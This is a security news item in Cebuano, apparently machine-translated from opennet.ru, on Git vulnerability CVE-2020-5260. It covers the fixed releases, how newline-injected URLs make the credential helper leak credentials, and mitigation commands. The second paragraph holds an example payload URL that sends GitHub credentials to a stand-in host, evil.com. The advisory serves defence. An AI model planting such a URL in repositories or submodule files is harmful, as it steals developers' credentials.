Git credential leakage vulnerability

Gipatik corrective releases sa distributed source control system Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 ug 2.17.4, sa nga giwagtang pagkahuyang (CVE-2020-5260) sa handler "kredensyal.katabang", nga hinungdan nga ang mga kredensyal ipadala sa sayup nga host kung ang usa ka git nga kliyente nag-access sa usa ka repository gamit ang usa ka espesyal nga pormat nga URL nga adunay sulud nga karakter sa bag-ong linya. Ang pagkahuyang mahimong gamiton sa paghan-ay sa mga kredensyal gikan sa laing host nga ipadala ngadto sa usa ka server nga kontrolado sa tig-atake.

Kung nagpiho sa usa ka URL sama sa "https://evil.com?%0ahost=github.com/", ang tigdumala sa kredensyal kung magkonektar sa host evil.com ipasa ang mga parameter sa pag-ila nga gitakda alang sa github.com. Ang problema mahitabo sa diha nga ang pagbuhat sa mga operasyon sama sa "git clone", lakip na ang pagproseso sa mga URL alang sa mga submodules (pananglitan, ang pagbuhat sa "git submodule update" awtomatikong pagproseso sa mga URL nga gipiho sa .gitmodules file gikan sa repository). Ang pagkahuyang mao ang labing delikado sa mga sitwasyon diin ang usa ka developer nag-clone sa usa ka repository nga dili makita ang URL, pananglitan, sa dihang nagtrabaho uban sa mga submodules, o sa mga sistema nga naghimo sa mga awtomatikong aksyon, pananglitan, sa package build scripts.

Aron babagan ang mga kahuyangan sa mga bag-ong bersyon gidili pagpasa sa usa ka bag-ong linya nga karakter sa bisan unsang mga kantidad nga gipasa pinaagi sa credential exchange protocol. Alang sa mga pag-apod-apod, mahimo nimong masubay ang pagpagawas sa mga update sa package sa mga panid Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, arko, FreeBSD.

Ingon usa ka solusyon aron mapugngan ang problema girekomenda Ayaw gamita ang credential.helper kung mag-access sa mga pampublikong repositoryo ug ayaw gamita ang "git clone" sa "--recurse-submodules" mode nga wala'y check nga mga repositoryo. Aron hingpit nga ma-disable ang credential.helper handler, nga mahimo pagpreserbar ug pagkuha sa mga password gikan sa cache, gipanalipdan mga tipiganan o usa ka file nga adunay mga password, mahimo nimong gamiton ang mga mando:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Source: opennet.ru

Idugang sa usa ka comment